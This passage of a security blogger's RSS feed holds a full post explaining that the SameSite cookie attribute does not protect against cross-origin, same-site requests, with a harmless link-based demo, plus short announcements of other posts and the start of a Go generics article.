            <title>Subdomain takeover: ignore this vulnerability at your peril</title>
            <link>//jub0bs.com/posts/2021-02-12-subdomain-takeover/</link>
            <pubDate>Fri, 12 Feb 2021 08:35:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2021-02-12-subdomain-takeover/</guid>
            <description>&lt;p&gt;My third guest post on &lt;a href=&#34;https://www.honeybadger.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Honeybadger&lt;/a&gt;&amp;rsquo;s blog, entitled&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Subdomain Takeover: Ignore This Vulnerability at Your Peril&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;has just been &lt;a href=&#34;https://www.honeybadger.io/blog/subdomain-takeover/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;published&lt;/a&gt;!&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>My third guest post on <a href="https://www.honeybadger.io/" target="_blank" rel="noopener">Honeybadger</a>&rsquo;s blog, entitled</p>
<blockquote>
<p>Subdomain Takeover: Ignore This Vulnerability at Your Peril</p>
</blockquote>
<p>has just been <a href="https://www.honeybadger.io/blog/subdomain-takeover/" target="_blank" rel="noopener">published</a>!</p>
]]></content>
        </item>
        
        <item>
            <title>The great SameSite confusion</title>
            <link>//jub0bs.com/posts/2021-01-29-great-samesite-confusion/</link>
            <pubDate>Fri, 29 Jan 2021 13:15:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2021-01-29-great-samesite-confusion/</guid>
            <description>&lt;p&gt;In this post,
I dissect a common misconception about the &lt;code&gt;SameSite&lt;/code&gt; cookie attribute
and I explore its potential impact on Web security.&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;SameSite&lt;/code&gt; cookie attribute is not well understood.&lt;/li&gt;
&lt;li&gt;Conflating &lt;em&gt;site&lt;/em&gt; and &lt;em&gt;origin&lt;/em&gt; is a common but harmful mistake.&lt;/li&gt;
&lt;li&gt;The concept of &lt;em&gt;site&lt;/em&gt; is more difficult to apprehend than meets the eye.&lt;/li&gt;
&lt;li&gt;Some requests are cross-origin but same-site.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SameSite&lt;/code&gt; only has effects on cross-site requests.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SameSite&lt;/code&gt; paints a target on your subdomains&amp;rsquo; back.&lt;/li&gt;
&lt;li&gt;Misguided practitioners may unduly eschew &lt;code&gt;SameSite=Strict&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-advent-of-samesite&#34;&gt;The advent of &lt;code&gt;SameSite&lt;/code&gt; &lt;a href=&#34;#the-advent-of-samesite&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You undoubtedly have heard of the
&lt;a href=&#34;https://developer.mozilla.org/en-us/docs/Web/HTTP/Headers/Set-Cookie/SameSite&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;SameSite&lt;/code&gt; cookie attribute&lt;/a&gt;.
It made headlines when, in February 2020,
Chrome started rolling out changes to &lt;code&gt;SameSite&lt;/code&gt;&amp;rsquo;s default behaviour.
Intended as a defence-in-depth mechanism against cross-site attacks,
such as &lt;a href=&#34;https://owasp.org/www-community/attacks/csrf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;cross-site request forgery (CSRF)&lt;/a&gt;
and &lt;a href=&#34;https://www.scip.ch/en/?labs.20160414&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;cross-site script inclusion (XSSI)&lt;/a&gt;,
&lt;code&gt;SameSite&lt;/code&gt; had been lying dormant at the heart of implementing browsers
since &lt;a href=&#34;https://tools.ietf.org/html/draft-west-first-party-cookies-07&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;its inception in 2016&lt;/a&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this post,
I dissect a common misconception about the <code>SameSite</code> cookie attribute
and I explore its potential impact on Web security.</p>
<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<ul>
<li>The <code>SameSite</code> cookie attribute is not well understood.</li>
<li>Conflating <em>site</em> and <em>origin</em> is a common but harmful mistake.</li>
<li>The concept of <em>site</em> is more difficult to apprehend than meets the eye.</li>
<li>Some requests are cross-origin but same-site.</li>
<li><code>SameSite</code> only has effects on cross-site requests.</li>
<li><code>SameSite</code> paints a target on your subdomains&rsquo; back.</li>
<li>Misguided practitioners may unduly eschew <code>SameSite=Strict</code>.</li>
</ul>
<h2 id="the-advent-of-samesite">The advent of <code>SameSite</code> <a href="#the-advent-of-samesite">¶</a></h2>
<p>You undoubtedly have heard of the
<a href="https://developer.mozilla.org/en-us/docs/Web/HTTP/Headers/Set-Cookie/SameSite" target="_blank" rel="noopener"><code>SameSite</code> cookie attribute</a>.
It made headlines when, in February 2020,
Chrome started rolling out changes to <code>SameSite</code>&rsquo;s default behaviour.
Intended as a defence-in-depth mechanism against cross-site attacks,
such as <a href="https://owasp.org/www-community/attacks/csrf" target="_blank" rel="noopener">cross-site request forgery (CSRF)</a>
and <a href="https://www.scip.ch/en/?labs.20160414" target="_blank" rel="noopener">cross-site script inclusion (XSSI)</a>,
<code>SameSite</code> had been lying dormant at the heart of implementing browsers
since <a href="https://tools.ietf.org/html/draft-west-first-party-cookies-07" target="_blank" rel="noopener">its inception in 2016</a>.</p>
<p><a href="https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html" target="_blank" rel="noopener"><code>SameSite</code>&rsquo;s activation in early 2020</a>
required labourious adjustments
by some websites to maintain third-party access,
but was widely hailed as a welcome addition to browser defences.
Both in anticipation and in reaction to <code>SameSite</code>&rsquo;s activation in browsers,
posts started
sprouting on blogs all over the Web to spread the word
about the mechanics of the &ldquo;new&rdquo; cookie attribute.</p>
<h2 id="playing-fast-and-loose-with-terminology">Playing fast and loose with terminology <a href="#playing-fast-and-loose-with-terminology">¶</a></h2>
<p>Some of those posts were of admirable precision,
such as <a href="https://rowan.fyi" target="_blank" rel="noopener">Rowan Merewood</a>&rsquo;s <a href="https://web.dev/samesite-cookies-explained/" target="_blank" rel="noopener">web.dev piece</a>
entitled &ldquo;SameSite cookies explained&rdquo;.
Unfortunately, relatively few of the posts about <code>SameSite</code>
went through the effort of clarifying the concept of <em>site</em>,
from which the technical concepts of <em>same-site request</em> and <em>cross-site request</em>
are of course derived.</p>
<p>Moreover, many posts,
including those produced by influential members of the infosec community,
appeared to use the terms &ldquo;origin&rdquo; and &ldquo;site&rdquo; interchangeably or, at least,
somewhat loosely.</p>
<p>Back in February 2019, Kristian Bremberg <a href="https://blog.detectify.com/2019/02/05/guide-http-security-headers-for-better-web-browser-security/" target="_blank" rel="noopener">wrote the following</a>
on the venerable Detectify blog:</p>
<blockquote>
<p>The SameSite attribute is rather new and provides excellent protection
against CSRF attacks. If a cookie uses the SameSite attribute,
the web browser will make sure that the request made with the cookie came
from the <strong>origin</strong> that sat [sic] the cookie.</p>
</blockquote>
<p>(my emphasis)</p>
<p>Infosec superstar <a href="https://www.troyhunt.com" target="_blank" rel="noopener">Troy Hunt</a> himself,
in <a href="https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/" target="_blank" rel="noopener">a seminal post</a> entitled
&ldquo;Promiscuous Cookies and Their Impending Death via the SameSite Policy&rdquo;
and published in early January 2020, described the effects of the different
<code>SameSite</code> attribute values as follows:</p>
<blockquote>
<ol>
<li>None: what Chrome defaults to today without a SameSite value set</li>
<li>Lax: some limits on sending cookies on a <strong>cross-origin</strong> request</li>
<li>Strict: tight limits on sending cookies on a <strong>cross-origin</strong> request</li>
</ol>
</blockquote>
<p>(my emphasis)</p>
<p>And a few months later, in an otherwise fascinating <a href="https://blog.reconless.com/samesite-by-default/" target="_blank" rel="noopener">post</a>
analysing how the advent of <code>SameSite</code> was affecting a range of vulnerabilities
cherished by hackers,
the <a href="https://blog.reconless.com" target="_blank" rel="noopener">Reconless team</a> wrote the following:</p>
<blockquote>
<p>After the update, all cookies without an explicit <code>SameSite</code> attribute will
be treated as having <code>SameSite=Lax</code>.
This means <strong>cross-origin</strong> requests no longer carry cookies,
except for top-level navigations.</p>
</blockquote>
<p>(my emphasis)</p>
<p><em>Domain</em>, <em>host</em>, <em>origin</em>, <em>site</em>&hellip;
Using those terms loosely in informal communication is natural;
such laxity in the use of terminology can be forgiven,
and if you&rsquo;ve been guilty of it yourself, you&rsquo;re in good company.</p>
<h2 id="are-site-and-origin-interchangeable">Are &ldquo;site&rdquo; and &ldquo;origin&rdquo; interchangeable? <a href="#are-site-and-origin-interchangeable">¶</a></h2>
<p>However, the advent of the <code>SameSite</code> cookie attribute raises some questions&hellip;</p>
<ul>
<li>Is a careful distinction between &ldquo;origin&rdquo; and &ldquo;site&rdquo; warranted, here?</li>
<li>Is it just a distinction without a difference?</li>
<li>Is a <em>cross-site</em> request no different from a <em>cross-origin</em> request?</li>
<li>Could the cookie attribute have as well been named &ldquo;SameOrigin&rdquo;, then?</li>
<li>Or, if there is indeed a real difference between &ldquo;site&rdquo; and &ldquo;origin&rdquo;,
does it matter to practitioners?</li>
<li>And, if the difference does matter, how so?</li>
</ul>
<p>You may have already guessed the answers from the title of this post:
&ldquo;site&rdquo; has a very technical meaning in the context of <code>SameSite</code>,
yet it is unduly neglected;
and the distinction between <em>site</em> and <em>origin</em> <em>does</em> matter,
yet the two concepts are frequently conflated.</p>
<p>This lapse in terminology didn&rsquo;t escape everyone.
That Google&rsquo;s <em>Developer Advocate of Web</em> <a href="https://bsky.app/profile/agektmr.com" target="_blank" rel="noopener">Eiji Kitamura</a>
felt the need to dedicate
a whole <a href="https://web.dev/same-site-same-origin/" target="_blank" rel="noopener">blog post</a>
about the distinction between &ldquo;origin&rdquo; and &ldquo;site&rdquo;,
only a few months after Chrome activated <code>SameSite</code>, is revealing.</p>
<p>In order to understand why the distinction matters,
you first need to understand the difference between <em>origin</em> and <em>site</em>.</p>
<h2 id="what-do-we-mean-by-origin">What do we mean by &ldquo;origin&rdquo;? <a href="#what-do-we-mean-by-origin">¶</a></h2>
<p>If you work with Web technologies,
you have at least some familiarity with the
<a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" target="_blank" rel="noopener">Same-Origin Policy (SOP)</a>,
arguably one of the main pillars of Web security.
The concept of <em>origin</em> of a URI is of course central to the SOP and,
as such, it is relatively well-understood.
<a href="https://tools.ietf.org/html/rfc6454#section-3.2" target="_blank" rel="noopener">Section 3.2 of RFC 6454</a> defines an <em>origin</em> as a triple:</p>
<blockquote>
<p>Roughly speaking, two URIs are part of the same origin
(i.e., represent the same principal) if they have the same
scheme, host, and port.</p>
</blockquote>
<p>The port is optional; if not specified, the default port associated to the scheme
is implied (e.g. 80 for <code>http</code> and 443 for <code>https</code>).
<a href="https://developer.mozilla.org/en-us/docs/Glossary/Origin" target="_blank" rel="noopener">MDN Web Docs</a> has a series of clarifying examples.</p>
<h2 id="what-do-we-mean-by-site">What do we mean by &ldquo;site&rdquo;? <a href="#what-do-we-mean-by-site">¶</a></h2>
<p>Behind the painfully generic term that is &ldquo;site&rdquo;
hides a concept fundamentally more difficult to grasp
than that of <em>origin</em>.
For one thing, the term &ldquo;site&rdquo; was not always a technical one:
it predates the SOP and was in in common use
<a href="https://blog.jeremiahgrossman.com/2006/07/origins-of-cross-site-scripting-xss.html" target="_blank" rel="noopener">when attacks like cross-site scripting came onto the scene</a>.
Furthermore, the modern concept of <em>site</em> is fraught with technical difficulties.
It is intimately linked to that of a host&rsquo;s <em>registrable domain</em>,
which the <a href="https://url.spec.whatwg.org/#host-registrable-domain" target="_blank" rel="noopener">URL Living Standard</a> defines as</p>
<blockquote>
<p>[&hellip;] a domain formed by the most specific public suffix,
along with the domain label immediately preceeding it, if any.</p>
</blockquote>
<p>(A host&rsquo;s registrable domain is also known as its &ldquo;eTLD+1&rdquo;, short for
&ldquo;effective top-level domain plus one&rdquo;.)</p>
<p>In the simplest of cases, <strong>the site of an origin simply corresponds
to the registrable domain (if any) of the origin&rsquo;s host</strong>.</p>
<p>Two examples, to fix ideas:</p>
<ul>
<li>The site of <code>https://www.example.org</code> is <code>example.org</code>,
because <code>org</code> is the host&rsquo;s most specific public suffix
and, therefore, <code>example.org</code> is the host&rsquo;s eTLD+1.</li>
<li>The site of <code>https://jub0bs.github.io</code> is <code>jub0bs.github.io</code>,
because <code>github.io</code> is the host&rsquo;s most specific public suffix
and, therefore, <code>jub0bs.github.io</code> is the host&rsquo;s eTLD+1.</li>
</ul>
<p>Yes! Perhaps surprisingly, <a href="https://publicsuffix.org/list/public_suffix_list.dat" target="_blank" rel="noopener"><code>github.io</code> is a public suffix</a>!</p>
<p>It&rsquo;s worth noting, however, that the concept of registrable domain is a fluid one,
because it relies on the <a href="https://publicsuffix.org/list/" target="_blank" rel="noopener">Public-Suffix List</a>,
a list which is not set in stone but <a href="https://github.com/publicsuffix/list/blob/master/public_suffix_list.dat" target="_blank" rel="noopener">subject to change over time</a>.
Not to mention that different browsers may not necessarily stay abreast of
changes to the Public-Suffix list at the same pace.</p>
<p>The technicalities do not end there!
As <a href="https://web.dev/schemeful-samesite/" target="_blank" rel="noopener">web.dev warns us</a>,
the concept of <em>site</em> is still evolving and
will soon incorporate the scheme also.
The change currently sits behind a flag in Chrome but will soon be rolled out.
However, to sidestep this difficulty and prolong the relevance of this post,
I&rsquo;ll only consider origins whose scheme is <code>https</code> in what follows.</p>
<h2 id="same-site-vs-cross-site-requests">Same-site vs. cross-site requests <a href="#same-site-vs-cross-site-requests">¶</a></h2>
<p>Now that we&rsquo;ve dealt with the concept of <em>site</em>,
we can finally discuss the concepts of <em>same-site</em> and <em>cross-site</em> requests.
A given request is either <em>same-site</em> or <em>cross-site</em>.
Whether a request is same-site or cross-site depends on the comparison
between the sites of the request&rsquo;s source origin and target origin:</p>
<ul>
<li>If the two sites are identical, the request is said to be <em>same-site</em>;</li>
<li>If the two sites are different, the request is said to be <em>cross-site</em>.</li>
</ul>
<p>Here are three examples:</p>
<ol>
<li>A request sent from <code>https://foo.example.org</code> to <code>https://bar.example.org</code>
is same-site,
because the site of both origins is <code>example.org</code>.</li>
<li>A request sent from <code>https://foo.github.io</code>
to <code>https://bar.github.io</code> is cross-site,
because the site of the first origin is <code>foo.github.io</code>,
whereas the site of the second origin is <code>bar.github.io</code>.</li>
<li>A request sent from <code>https://foo.bar.example.org</code> to <code>https://bar.example.org</code>
is same-site, because the site of both origins is <code>example.org</code>.</li>
</ol>
<p>If you&rsquo;ve made it this far down the present post, I thank you for your patience.
Take heart: the payoff is near!</p>
<h2 id="cross-origin-same-site-requests">Cross-origin, same-site requests <a href="#cross-origin-same-site-requests">¶</a></h2>
<p>All cross-site requests are necessarily cross-origin; that much is clear.
However, as shown by the first and third examples above
and as illustrated by the crude Venn diagram below,
not all cross-origin requests are cross-site.</p>
<p><img src="/images/venn_kwnctQ7j2h5uTe9Hibk8K,d2skCrA-fwBNQR9MeiyhRw.svg" alt="Venn-diagram"></p>
<p>And the <code>SameSite</code> cookie attribute is only concerned with cross-site requests;
it has no effect on cross-origin requests that happen to be same-site.
This is why the distinction between <em>origin</em> and <em>site</em> is important.</p>
<h2 id="online-demo">Online demo <a href="#online-demo">¶</a></h2>
<p>To prove my point,
I&rsquo;ve drawn inspiration from <a href="https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/" target="_blank" rel="noopener">Troy Hunt&rsquo;s post</a> and
I&rsquo;ve deployed a simple Go server to <code>samesitedemo.jub0bs.com</code> composed
of two endpoints.
Endpoint <code>/setcookie</code> sets a <code>SameSite=Strict</code> cookie, like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Set-Cookie: StrictCookie=foo; Path=/; Max-Age=3600; SameSite=Strict
</span></span></span></code></pre></div><p>Endpoint <code>/readcookie</code> prints the cookie (if any) attached to the request.
I&rsquo;ve also set up two &ldquo;attacking&rdquo; pages:</p>
<ul>
<li><a href="https://jub0bs.github.io/samesitedemo-attacker-foiled" target="_blank" rel="noopener">https://jub0bs.github.io/samesitedemo-attacker-foiled</a></li>
<li><a href="https://samesitedemo-attacker.jub0bs.com/" target="_blank" rel="noopener">https://samesitedemo-attacker.jub0bs.com/</a></li>
</ul>
<p>Both pages simply consist in a single link to
<code>https://samesitedemo.jub0bs.com/readcookie</code>.</p>
<p>To fix ideas, here&rsquo;s what you can do:</p>
<ol>
<li>Navigate to
<a href="https://samesitedemo.jub0bs.com/setcookie" target="_blank" rel="noopener">https://samesitedemo.jub0bs.com/setcookie</a>.
Doing so will set the <code>Strict</code> cookie in your browser.</li>
<li>Navigate to
<a href="https://jub0bs.github.io/samesitedemo-attacker-foiled" target="_blank" rel="noopener">https://jub0bs.github.io/samesitedemo-attacker-foiled</a>
and follow the link on that page.
Because the site of the attacking URI (<code>jub0bs.github.io</code>)
is different from that of the target URI (<code>jub0bs.com</code>),
the browser does not attach the cookie to the request resulting from
following the link, and no cookie gets printed in the response.
<code>SameSite=Strict</code> works as expected, and the &ldquo;attack&rdquo; is foiled.</li>
<li>Now navigate to
<a href="https://samesitedemo-attacker.jub0bs.com/" target="_blank" rel="noopener">https://samesitedemo-attacker.jub0bs.com/</a>
and follow the link on that page.
Because the site of the attacking URI (<code>jub0bs.com</code>)
is identical to that of the target URI (<code>jub0bs.com</code>),
the browser <em>does</em> attach the cookie to the request resulting from
following the link, and the cookie <em>does</em> get printed in the response.
The <code>SameSite</code> cookie attribute simply doesn&rsquo;t apply, in this case,
and the &ldquo;attack&rdquo; is a success.</li>
</ol>
<h2 id="the-cost-of-conflating-site-and-origin">The cost of conflating site and origin <a href="#the-cost-of-conflating-site-and-origin">¶</a></h2>
<h3 id="false-sense-of-security">False sense of security <a href="#false-sense-of-security">¶</a></h3>
<p>Implying that <code>SameSite</code> applies to <em>all</em> cross-origin requests is harmful,
because it may lead practitioners to believe, incorrectly, that
<code>SameSite</code> protects their users against <em>all</em> cross-origin abuse.
Such a misconception is particularly dangerous to practictioners
who neglect to scrutinise the security level of their subdomains.
In particular,</p>
<ul>
<li>a subdomain takeover, or</li>
<li>an instance of <a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">cross-site scripting (XSS)</a>
on a subdomain of the same site, or</li>
<li>an instance of <a href="https://www.acunetix.com/vulnerabilities/web/html-injection/" target="_blank" rel="noopener">HTML injection</a>
on a subdomain of the same site</li>
</ul>
<p>may be sufficient for an attacker
to bypass the relative protection that <code>SameSite</code> provides.</p>
<p>A subdomain takeover is an attack that was
<a href="https://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/" target="_blank" rel="noopener">popularised by Detectify</a> as far back as 2014.
It consists in exploiting a dangling DNS record on a subdomain
in order to take control of some or all of the content served
by the subdomain in question.
An attacker may leverage a subdomain takeover to various ends:
defacement, phishing, etc&hellip;
but also cross-origin attacks that would otherwise not be possible!</p>
<p>For instance, if the attacker were capable of taking over
<code>https://vulnerable.example.org</code>,
he or she may be in a position to send,
from client code running in the context of the vulnerable subdomain,
malicious requests to <code>https://example.org</code> (or any subdomain thereof);
and such requests, being same-site, would carry all the relevant cookies,
regardless of the value of their <code>SameSite</code> attribute!</p>
<p>A subdomain takeover may not even be required
for such cross-origin, same-site attacks.
The presence of an XSS or HTML-injection vulnerability
on a subdomain of the same site may be all the attacker
needs to send malicious cross-origin, same-site requests.</p>
<hr>
<p>Note: &ldquo;Cross-site request forgery&rdquo; is a misnomer in both of the cases
described above,
because the attacking site and the targeted site are the same;
&ldquo;same-site cross-origin request forgery&rdquo; (SSCORF?) would be
more apt a term to describe such an attack,
but I doubt it will ever achieve common use.</p>
<hr>
<p>What I find fascinating is that <code>SameSite</code> is likely to
focus the attention of savvy attackers on your subdomains and sibling domains
even more than in the past,
because those domains are fast becoming the only refuge for cross-origin
attacks against battle-hardened Web apps.</p>
<h3 id="slower-adoption-of-samesitestrict">Slower adoption of <code>SameSite=Strict</code> <a href="#slower-adoption-of-samesitestrict">¶</a></h3>
<p>Besides, this misconception may also slow down
the adoption of the <code>Strict</code> value in favour of the <code>Lax</code> one.
Some people indeed actively discourage practitioners from using <code>Strict</code>
because they perceive it as a greater impediment to usability than it
actually is.
For instance, on Dareboost&rsquo;s blog, <a href="https://web.archive.org/web/20201201211835/https://blog.dareboost.com/en/2017/06/secure-cookies-samesite-attribute/" target="_blank" rel="noopener">you can read</a>
the following statement:</p>
<blockquote>
<p>if we were using <code>Strict</code> <code>Same-Site</code> on <code>dareboost.com</code>,
by clicking this link,
you would not be detected as logged in, whether you were connected or not.</p>
</blockquote>
<p>That statement is incorrect:
the link in question is present on
<code>https://blog.dareboost.com</code> and leads to <code>https://www.dareboost.com</code>;
therefore, the request triggered by clicking the link would be same-site
and carry all the cookies scoped at the <code>www</code> subdomain or the parent domain.</p>
<p>The author concludes:</p>
<blockquote>
<p>The behaviour can be confusing for the final user,
so you would prefer using the <code>Lax</code> mode.</p>
</blockquote>
<p>This is just one example of unjustly disparaging the <code>Strict</code> value,
but I&rsquo;m sure you could find more examples elsewhere on the Web.</p>
<h2 id="parting-words">Parting words <a href="#parting-words">¶</a></h2>
<p>I&rsquo;ve reached out to all the people I quoted above who I believe are inaccurate
in their description of <code>SameSite</code>&rsquo;s mechanics.
So far, only Kristian Bremberg from Detectify and Edwin Foudil (also known as
<a href="https://edoverflow.com" target="_blank" rel="noopener">@edoverflow</a>) from Reconless have replied to me.
I have high hopes that they will amend their posts after
reading this one.
I&rsquo;ve left a <a href="https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/#comment-5242338292" target="_blank" rel="noopener">public comment</a> on Troy Hunt&rsquo;s post,
but he hasn&rsquo;t gotten back to me yet;
and I&rsquo;ve reached out to Dareboost, but I have yet to hear back from them.</p>
<p>Edit (2021/02/10): Dareboost have since <a href="https://blog.dareboost.com/en/2017/06/secure-cookies-samesite-attribute/" target="_blank" rel="noopener">amended</a>
their post.</p>
<p>Remember: <code>SameSite</code> is a powerful defence-in-depth mechanism
for protecting users against cross-site attacks,
but it is powerless against cross-origin, same-site attacks.
Don&rsquo;t miss this subtlety! Otherwise, if you&rsquo;re on the defensive side,
you may be lulled into a false sense of security
and you may get blindsided by attacks you would not have thought possible;
and if you&rsquo;re on the offensive side, you may miss out on vulnerability findings
and perhaps even sizable bug bounties.</p>
<h2 id="addendum-20210131">Addendum (2021/01/31) <a href="#addendum-20210131">¶</a></h2>
<p>Since the first publication of this post,
I have found more noteworthy instances of incautious use
of the terms &ldquo;origin&rdquo; and &ldquo;site&rdquo; when
describing <code>SameSite</code>&rsquo;s mechanics.
I have not attempted to contact the authors of the pieces I quote below.</p>
<p>Back in 2016, Sjoerd Langkemper, Web application Hacker at Qbit Cyber Security,
wrote the following on <a href="https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/" target="_blank" rel="noopener">his blog</a>:</p>
<blockquote>
<p>This table shows what cookies are sent with <strong>cross-origin</strong> requests.
As you can see cookies without a same-site attribute [&hellip;]
are always sent. Strict cookies are never sent.
Lax cookies are only send with a top-level get request.</p>
</blockquote>
<p>(my emphasis)</p>
<p>In May 2018, <a href="https://arturjanc.com" target="_blank" rel="noopener">Artur Janc</a> and <a href="https://bsky.app/profile/mikewe.st" target="_blank" rel="noopener">Mike West</a>
(the author of
<a href="https://tools.ietf.org/html/draft-west-first-party-cookies-07" target="_blank" rel="noopener">the <em>Same-site Cookies</em> Internet Draft</a>
himself)
released a report (<a href="https://www.arturjanc.com/cross-origin-infoleaks.pdf" target="_blank" rel="noopener">PDF</a>) entitled
&ldquo;How do we Stop Spilling the Beans Across Origins?&rdquo;
in which you can read the following:</p>
<blockquote>
<p>SameSite cookies do not directly prevent attackers
from loading <strong>cross-origin</strong> resources,
<strong>but they cause such requests to be sent without credentials</strong>,
rendering the responses of little value to the attacker.</p>
</blockquote>
<p>(my emphasis)</p>
<p>Finally, <a href="https://web.archive.org/web/20210202233343/https://en.wikipedia.org/wiki/Cross-site_request_forgery#SameSite_cookie_attribute" target="_blank" rel="noopener">the Wikipedia page about CSRF</a> itself
claims the following:</p>
<blockquote>
<p>If this attribute is set to &ldquo;strict&rdquo;,
then the cookie will only be sent on <strong>same-origin</strong> requests,
making CSRF ineffective.</p>
</blockquote>
<p>(my emphasis)</p>
<p>Edit (2021/02/07): the Wikipedia page has since been <a href="https://en.wikipedia.org/w/index.php?title=Cross-site_request_forgery&amp;diff=prev&amp;oldid=1004816813" target="_blank" rel="noopener">corrected</a>.</p>
<h2 id="acknowledgments">Acknowledgments <a href="#acknowledgments">¶</a></h2>
<p>I&rsquo;d like to thank <a href="https://github.com/almroot" target="_blank" rel="noopener">Fredrik N. Almroth</a>, from Detectify,
who kindly agreed to review a draft of this post before publication.</p>
]]></content>
        </item>
        
        <item>
            <title>Protecting your apps from link-based vulnerabilities: reverse tabnabbing, broken-link hijacking, and open redirects</title>
            <link>//jub0bs.com/posts/2020-07-29-link-security/</link>
            <pubDate>Wed, 29 Jul 2020 07:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2020-07-29-link-security/</guid>
            <description>&lt;p&gt;My second guest post on &lt;a href=&#34;https://www.honeybadger.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Honeybadger&lt;/a&gt;&amp;rsquo;s blog, entitled&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Protecting Your Apps From Link-based Vulnerabilities:
Reverse Tabnabbing, Broken-Link Hijacking, and Open Redirects&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;has just been &lt;a href=&#34;https://www.honeybadger.io/blog/link-vulnerabilities/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;published&lt;/a&gt;!&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>My second guest post on <a href="https://www.honeybadger.io/" target="_blank" rel="noopener">Honeybadger</a>&rsquo;s blog, entitled</p>
<blockquote>
<p>Protecting Your Apps From Link-based Vulnerabilities:
Reverse Tabnabbing, Broken-Link Hijacking, and Open Redirects</p>
</blockquote>
<p>has just been <a href="https://www.honeybadger.io/blog/link-vulnerabilities/" target="_blank" rel="noopener">published</a>!</p>
]]></content>
        </item>
        
        <item>
            <title>A glimpse at parametric polymorphism in Go: designing a generic bidirectional map</title>
            <link>//jub0bs.com/posts/2020-07-21-go-bimap/</link>
            <pubDate>Tue, 21 Jul 2020 14:45:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2020-07-21-go-bimap/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To familiarise myself with the
&lt;a href=&#34;https://go.googlesource.com/proposal/&amp;#43;/refs/heads/master/design/43651-type-parameters.md&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;updated design draft on Type Parameters&lt;/a&gt; in Go,
I wrote a generic implementation of a bidirectional map.
You can try it out in &lt;a href=&#34;https://go.dev/play/p/ljFSoME0rFl&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;this playground&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Edit (2022-04-03): Now that Go 1.18 is out, I&amp;rsquo;ve spruced up this post a bit.&lt;/p&gt;
&lt;h2 id=&#34;generics-are-coming-to-go&#34;&gt;Generics are coming to Go &lt;a href=&#34;#generics-are-coming-to-go&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Support for parametric polymorphism (also colloquially known as &amp;ldquo;generics&amp;rdquo;)
in the Go language is in active development.
Last month, the Go team published a &lt;a href=&#34;https://blog.golang.org/generics-next-step&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;blog post&lt;/a&gt; detailing
their progress on this front.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<p>To familiarise myself with the
<a href="https://go.googlesource.com/proposal/&#43;/refs/heads/master/design/43651-type-parameters.md" target="_blank" rel="noopener">updated design draft on Type Parameters</a> in Go,
I wrote a generic implementation of a bidirectional map.
You can try it out in <a href="https://go.dev/play/p/ljFSoME0rFl" target="_blank" rel="noopener">this playground</a>.</p>
<p>Edit (2022-04-03): Now that Go 1.18 is out, I&rsquo;ve spruced up this post a bit.</p>
<h2 id="generics-are-coming-to-go">Generics are coming to Go <a href="#generics-are-coming-to-go">¶</a></h2>
<p>Support for parametric polymorphism (also colloquially known as &ldquo;generics&rdquo;)
in the Go language is in active development.
Last month, the Go team published a <a href="https://blog.golang.org/generics-next-step" target="_blank" rel="noopener">blog post</a> detailing
their progress on this front.</p>
<p><a href="https://www.jboursiquot.com" target="_blank" rel="noopener">Johnny Boursiquot</a> and <a href="https://rakyll.org/generics-proposal/" target="_blank" rel="noopener">Jaana B. Dogan</a>
reacted enthusiastically to the announce,
which spurred me to read the <a href="https://go.googlesource.com/proposal/&#43;/refs/heads/master/design/43651-type-parameters.md" target="_blank" rel="noopener">updated design draft</a>
and take Go generics for a spin myself!</p>
<h2 id="why-generics-matter">Why generics matter <a href="#why-generics-matter">¶</a></h2>
<p>Before you keep reading this post,
